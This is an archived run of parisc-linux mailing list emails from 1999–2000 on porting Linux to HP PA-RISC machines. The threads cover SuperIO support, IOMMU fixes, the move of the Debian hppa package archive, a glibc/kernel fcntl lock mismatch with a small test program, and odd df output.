Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619164 4268 80.91.229.3 (22 Nov 2014 01:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: yuqian@huawei.com  Thu Oct  5 19:44:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA18642
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Oct 2000 19:44:43 -0600
Original-Received: (qmail 5220 invoked by uid 15267); 6 Oct 2000 01:45:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5205 invoked from network); 6 Oct 2000 01:45:42 -0000
Original-Received: from unknown (HELO smtp.huawei.com) (202.96.135.132)
  by mailserv2.iuinc.com with SMTP; 6 Oct 2000 01:45:42 -0000
Original-Received: from y18626 ([10.108.21.26]) by smtp.huawei.com
          (Netscape Messaging Server 4.15) with SMTP id G1ZJ3G01.R08 for
          <parisc-linux@thepuffingroup.com>; Fri, 6 Oct 2000 09:35:40 +0800 
X-Sender: y18626@pop.huawei.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Xref: news.gmane.org gmane.linux.ports.parisc:8063

At 09:40 00-10-5 -0700, you wrote:
>The B2000 isn't really supported yet. The piece that's missing
>support is the SuckyIO (superio from NCR) chip. SuckyIO provides
>USB, IDE, Floppy, Serial port, etc.
>I'm using an add-on serial card as my "console" in a C3000.
>The built-in Serial port 1 provides output until linux switches
>from PDC console to serial console.
>Once SuckyIO support is in place, the add-on serial card won't
>be needed.
:-(
But if I only use net-access, maybe it work well?

>No one has taken ownership of HPUX XC builds since building
>on i686-linux is pretty fast. Did I hear you volunteer? :^)
Oh, I am glad to be a volunteer. For my i686PC must in M$ Window
for working, the available workbench is B2000. (My manager don't
care the OS is HP-UX or Linux but only cares it work or not :-)

Another question is: why not build FDISK/PALO/E2FScp for HP-UX?
because all HP box with HP-UX's install/recover CD, so if has 
fdisk/palo/e2fscp program running on HP-UX, the work becames so 
simple that install Linux onto HP box.


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Italiani
Date: Fri, 6 Oct 2000 18:45:33 +0200
Lines: 4
Approved: news@gmane.org
Message-ID: <000001c02fc9$12f12760$01dbabd4@rinux>
References: <200010061533.JAA00305@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619165 4271 80.91.229.3 (22 Nov 2014 01:19:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:25 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rinux@iternet.it  Fri Oct  6 13:05:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA02140
	for <parisc-linux@puffin.external.hp.com>; Fri, 6 Oct 2000 13:05:42 -0600
Original-Received: (qmail 14216 invoked by uid 15267); 6 Oct 2000 19:06:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14209 invoked from network); 6 Oct 2000 19:06:41 -0000
Original-Received: from pop02-acc.tin.it (HELO fep06-svc.tin.it) (212.216.176.65)
  by mailserv2.iuinc.com with SMTP; 6 Oct 2000 19:06:41 -0000
Original-Received: from rinux ([212.171.219.1]) by fep06-svc.tin.it
          (InterMail vM.4.01.02.27 201-229-119-110) with SMTP
          id <20001006190612.DGEK540.fep06-svc.tin.it@rinux>
          for <parisc-linux@thepuffingroup.com>;
          Fri, 6 Oct 2000 21:06:12 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8064

Ci sono utilizzatori italiani ???

Grazie


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] udelay() inconsistent
Date: Fri, 06 Oct 2000 16:14:02 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200010062314.QAA02166@milano.cup.hp.com>
References: <200010060124.SAA05210@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619165 4274 80.91.229.3 (22 Nov 2014 01:19:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct  6 17:08:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04235
	for <parisc-linux@puffin.external.hp.com>; Fri, 6 Oct 2000 17:08:54 -0600
Original-Received: (qmail 1382 invoked by uid 15267); 6 Oct 2000 23:09:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1370 invoked from network); 6 Oct 2000 23:09:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Oct 2000 23:09:55 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 0648B8FD
	for <parisc-linux@thepuffingroup.com>; Fri,  6 Oct 2000 16:09:54 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA02166
	for <parisc-linux@thepuffingroup.com>; Fri, 6 Oct 2000 16:14:03 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 05 Oct 2000 18:24:21 PDT."
             <200010060124.SAA05210@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8065

Grant Grundler wrote:
...
> I ditched the __LP64__ code in sba_iommu.c (uses asm("lci..")) in order to
> use the same code as 32-bit uses. The scsi "CACHE TEST" failures went away.

Fixed. Thanks to John Marvin for pointing out ">>44" should
be ">>12" for both narrow/wide-mode kernels...

> So if anyone can make the LCI work...I'll think of a suitable reward...
> (something better than a 710...perhaps a 4GB, 7200RPM, SE SCSI disk?
> or a dual headed GSC graphics card?)

<sigh>....jsm has all the toys he wants already...we'll think of
something...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Italiani
Date: Sat, 7 Oct 2000 11:37:07 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20001007113707.A13295@parcelfarce.linux.theplanet.co.uk>
References: <200010061533.JAA00305@puffin.external.hp.com> <000001c02fc9$12f12760$01dbabd4@rinux>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619165 4278 80.91.229.3 (22 Nov 2014 01:19:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: iternet <rinux@iternet.it>
Original-X-From: willy@www.linux.org.uk  Sat Oct  7 04:36:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA20008
	for <parisc-linux@puffin.external.hp.com>; Sat, 7 Oct 2000 04:36:35 -0600
Original-Received: (qmail 15810 invoked by uid 15267); 7 Oct 2000 10:37:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15803 invoked from network); 7 Oct 2000 10:37:26 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 7 Oct 2000 10:37:26 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13hrLo-0003aM-00; Sat, 07 Oct 2000 11:37:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <000001c02fc9$12f12760$01dbabd4@rinux>; from rinux@iternet.it on Fri, Oct 06, 2000 at 06:45:33PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8066

On Fri, Oct 06, 2000 at 06:45:33PM +0200, iternet wrote:
> Ci sono utilizzatori italiani ???
> 
> Grazie

I'm sorry, I don't speak Italian (I assume this is the question you asked;
Babelfish's italian to english translator is crap.).  All communication
on these lists is in English.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP & Cygnus partnership
Date: Mon, 5 Apr 1999 19:43:28 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.04.9904051934370.1202-100000@sprite.osfi-bsif.gc.ca>
References: <3709535C.2C45B4E0@america.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619166 4279 80.91.229.3 (22 Nov 2014 01:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ed June <buggz@america.net>
Original-X-From: cjbeard@thepuffingroup.com  Mon Apr  5 20:40:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id UAA08813
	for <parisc-linux@sod.res.cmu.edu>; Mon, 5 Apr 1999 20:40:47 -0400
Original-Received: (qmail 31066 invoked by uid 15267); 6 Apr 1999 00:40:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31058 invoked from network); 6 Apr 1999 00:40:16 -0000
Original-Received: from hse-ott-ppp31332.sympatico.ca (HELO hobbit) (209.226.116.241)
  by mailserv2.iuinc.com with SMTP; 6 Apr 1999 00:40:16 -0000
X-Sender: cjbeard@sprite.osfi-bsif.gc.ca
In-Reply-To: <3709535C.2C45B4E0@america.net>
Xref: news.gmane.org gmane.linux.ports.parisc:8067


> Wonder if this will mean GNUPro Toolkit on HP-UX or what ?

"Hewlett-Packard Company and Cygnus Solutions today announced that they
will deliver Cygnus' market-leading GNUPro Toolkit for HP-supported
platforms under HP's Foundation Program for software development partners.
Open-source developers now will have access to a common set of
commercial-quality tools that facilitate development of applications
deployed on Linux, HP-UX and Windows NT systems."

(Source: http://www.cygnus.com/news/hp.html, April 5th 1999)

Chris


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debian-hppa-newlibc archive moving to debian-hppa
Date: 07 Oct 2000 22:54:49 -0400
Organization: Linuxcare, Inc.
Lines: 30
Approved: news@gmane.org
Message-ID: <877l7khwjq.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619166 4283 80.91.229.3 (22 Nov 2014 01:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Sat Oct  7 20:53:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA28334
	for <parisc-linux@puffin.external.hp.com>; Sat, 7 Oct 2000 20:53:57 -0600
Original-Received: (qmail 14925 invoked by uid 15267); 8 Oct 2000 02:54:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14908 invoked from network); 8 Oct 2000 02:54:53 -0000
Original-Received: from port-39.ottawa4.achilles.net (HELO tarwebok) (209.151.2.138)
  by mailserv2.iuinc.com with SMTP; 8 Oct 2000 02:54:53 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13i6bx-0000W9-00; Sat, 07 Oct 2000 22:54:49 -0400
Original-Lines: 29
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8068

Hi,

Since the change in symbol versions (as well as the introduction of
linuxthreads support) broke all old binaries, I've been rebuilding the
Debian base system over the last few days with the new glibc.  These
packages have been building up in
ftp://puffin.external.hp.com:/pub/debian-hppa-newlibc/ though I
haven't really announced the existence of this archive.

At this point I have replaced my entire system with new binaries, and
the newlibc archive is in fact more complete and up-to-date than the
original one, so I would like to remove or archive the old one and
switch to using this one exclusively.  So, I've moved the old one to
/pub/debian-hppa-oldlibc, and the new one to /pub/debian-hppa.

I believe Matt Taggart is putting together a new base system tarball
using these new packages (we now have almost all of the relevant parts
of the Debian 'base' section built).

I've been uploading NMU-versioned source packages (just the .diff.gz
and .dsc) of any packages that have required significant source
changes to /pub/debian-hppa-source.  This does not include packages
that need our versions of config.{guess,sub}, however.  I haven't had
time to submit the changes to the maintainers yet but I'll try to get
it done this coming week.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] file locking problems?
Date: Sun, 8 Oct 2000 20:00:48 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20001008200047.B639@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="EVF5PPMfhYS0aIcm"
X-Trace: ger.gmane.org 1416619166 4290 80.91.229.3 (22 Nov 2014 01:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sun Oct  8 20:59:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA22938
	for <parisc-linux@puffin.external.hp.com>; Sun, 8 Oct 2000 20:59:53 -0600
Original-Received: (qmail 32510 invoked by uid 15267); 9 Oct 2000 03:00:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32503 invoked from network); 9 Oct 2000 03:00:54 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 9 Oct 2000 03:00:54 -0000
Original-Received: (qmail 7599 invoked by alias); 9 Oct 2000 03:00:51 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 7565 invoked by uid 0); 9 Oct 2000 03:00:51 -0000
Original-Received: from bdslppp16.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.16)
  by phnxpop2.phnx.uswest.net with SMTP; 9 Oct 2000 03:00:51 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13iTBI-0004Kw-00; Sun, 08 Oct 2000 20:00:48 -0700
User-Agent: Mutt/1.0.1i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8069


--EVF5PPMfhYS0aIcm
Content-Type: text/plain; charset=us-ascii

Hi all,

I'm seeing some weird behavior with file locking on my hppa box:

update-passwd (a Debian package) makes a call to lckpwdf. That fails
with an "Invalid argument" message. It looks like lckpwdf internally uses
fcntl() locking, so I tried that and it too fails with an "Invalid
argument" message.  This happens both on nfs and local ext2 fs.
Similar tests with flock() seems to work ok.

Any ideas? This is using dhd's latest glibc build. My testing program is
attached. I've verified that it works on ext2 fs on i386 and SPARC. Over
nfs it does give an error message (No locks available).

The test program I used is attached.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^

--EVF5PPMfhYS0aIcm
Content-Type: text/x-csrc
Content-Disposition: attachment; filename="locktest.c"

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
        struct flock l;
        int fd;

        if ((fd = open("test.lck", O_CREAT|O_RDWR)) < 0)
        {
                perror("open");
                return -1;
        }
        memset(&l, 0, sizeof(l));
        l.l_type = F_RDLCK;
        if (fcntl(fd, F_SETLK, &l) < 0)
        {
                perror("fcntl");
                return -1;
        }
        close(fd);
        return 0;
}

--EVF5PPMfhYS0aIcm--


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] file locking problems?
Date: 08 Oct 2000 23:52:42 -0400
Organization: Linuxcare, Inc.
Lines: 23
Approved: news@gmane.org
Message-ID: <87g0m6hdrp.fsf@linuxcare.com>
References: <20001008200047.B639@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619166 4294 80.91.229.3 (22 Nov 2014 01:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: dhd@linuxcare.com  Sun Oct  8 21:52:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA25308
	for <parisc-linux@puffin.external.hp.com>; Sun, 8 Oct 2000 21:52:11 -0600
Original-Received: (qmail 32749 invoked by uid 15267); 9 Oct 2000 03:53:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32719 invoked from network); 9 Oct 2000 03:53:09 -0000
Original-Received: from port-38.ottawa4.achilles.net (HELO tarwebok) (209.151.2.137)
  by mailserv2.iuinc.com with SMTP; 9 Oct 2000 03:53:09 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13iTzW-0001By-00; Sun, 08 Oct 2000 23:52:42 -0400
In-Reply-To: Randolph Chung's message of "Sun, 8 Oct 2000 20:00:48 -0700"
Original-Lines: 22
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8070

Randolph Chung <randolph@tausq.org> writes:

> update-passwd (a Debian package) makes a call to lckpwdf. That fails
> with an "Invalid argument" message. It looks like lckpwdf internally uses
> fcntl() locking, so I tried that and it too fails with an "Invalid
> argument" message.  This happens both on nfs and local ext2 fs.
> Similar tests with flock() seems to work ok.

Lots of things report this actually - if you look in your log files
you'll see lots of "utmp file is locked/read" - also in bootup
messages there will be a "can't lock <whatever>".

I have a feeling this might just be generally broken in the revision
of the kernel we're using, though it could be a problem with LFS in
our glibc if it is trying to use fcntl64().

I suspect that our LFS stuff is generally broken (lseek64() is, at
least) and plan to investigate further on Tuesday.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: file locking problems?
Date: Sun, 8 Oct 2000 22:53:24 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20001008225324.C639@tausq.org>
References: <20001008200047.B639@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619167 4297 80.91.229.3 (22 Nov 2014 01:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Sun Oct  8 23:52:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA29760
	for <parisc-linux@puffin.external.hp.com>; Sun, 8 Oct 2000 23:52:31 -0600
Original-Received: (qmail 6630 invoked by uid 15267); 9 Oct 2000 05:53:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6619 invoked from network); 9 Oct 2000 05:53:30 -0000
Original-Received: from phnxpop5.phnx.uswest.net (206.80.192.5)
  by mailserv2.iuinc.com with SMTP; 9 Oct 2000 05:53:30 -0000
Original-Received: (qmail 27410 invoked by alias); 9 Oct 2000 05:53:27 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 27397 invoked by uid 0); 9 Oct 2000 05:53:27 -0000
Original-Received: from bdslppp16.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.16)
  by phnxpop5.phnx.uswest.net with SMTP; 9 Oct 2000 05:53:27 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13iVsK-0004Qw-00; Sun, 08 Oct 2000 22:53:24 -0700
User-Agent: Mutt/1.0.1i
In-Reply-To: <20001008200047.B639@tausq.org>; from randolph@tausq.org on Sun, Oct 08, 2000 at 08:00:48PM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: Randolph Chung <randolph@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8071

> update-passwd (a Debian package) makes a call to lckpwdf. That fails
> with an "Invalid argument" message. It looks like lckpwdf internally uses
> fcntl() locking, so I tried that and it too fails with an "Invalid
> argument" message.  This happens both on nfs and local ext2 fs.
> Similar tests with flock() seems to work ok.

as it turns out, it looks like there's a glibc<->kernel mismatch. 
the kernel defines F_RDLCK as 1, and glibc has it defined as 0. dhd is
aware of this and say he'll look into fixing this later this week.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.3.99 branch is dead
Date: 09 Oct 2000 12:55:34 -0400
Organization: Linuxcare, Inc.
Lines: 12
Approved: news@gmane.org
Message-ID: <87y9zyeyyh.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619167 4301 80.91.229.3 (22 Nov 2014 01:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Mon Oct  9 10:54:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA31528
	for <parisc-linux@puffin.external.hp.com>; Mon, 9 Oct 2000 10:54:32 -0600
Original-Received: (qmail 23845 invoked by uid 15267); 9 Oct 2000 16:55:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23803 invoked from network); 9 Oct 2000 16:55:36 -0000
Original-Received: from port-46.ottawa4.achilles.net (HELO tarwebok) (209.151.2.145)
  by mailserv2.iuinc.com with SMTP; 9 Oct 2000 16:55:36 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13igD8-0001nH-00
	for <parisc-linux@thepuffingroup.com>; Mon, 09 Oct 2000 12:55:34 -0400
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8072

Hi,

Just thought I should confirm that the 2.3.99 branch in our kernel CVS
I made a while back is dead.  The stability problems in 2.4 are mostly
fixed and it runs faster and on more machines, so there is no reason
to use 2.3.99 anymore (well, except for the unusual network latency
issues I'm experiencing on the A180 (but not on the C360))

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fuzzy math (df output)
Date: Mon, 9 Oct 2000 16:55:34 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200010092355.QAA04061@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619167 4303 80.91.229.3 (22 Nov 2014 01:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Oct  9 17:50:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA14428
	for <parisc-linux@puffin.external.hp.com>; Mon, 9 Oct 2000 17:50:12 -0600
Original-Received: (qmail 12009 invoked by uid 15267); 9 Oct 2000 23:51:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12000 invoked from network); 9 Oct 2000 23:51:19 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 9 Oct 2000 23:51:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id DE470E97
	for <parisc-linux@thepuffingroup.com>; Mon,  9 Oct 2000 16:51:18 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id QAA04061
	for parisc-linux@thepuffingroup.com; Mon, 9 Oct 2000 16:55:34 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8073

Hi all,
I booted the latest kernel and mounted a local hard disk...ran
df to check space usage and got:

gggA180:/mnt# df
Filesystem           1k-blocks      Used Available Use% Mounted on
15.8.81.247:/tftpboot/hppa
                       7558400   5276568   1897880   0% /
/dev/sda3              1513684    223852   1212940   0% /mnt
gggA180:/mnt# 

Seems like the Use% numbers came from a presidential debate. :^)
If someone is looking for something to do...

thanks,
grant


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ntpd fails on mlockall()
Date: Mon, 09 Oct 2000 20:57:00 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20001010025700.26519359E7@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
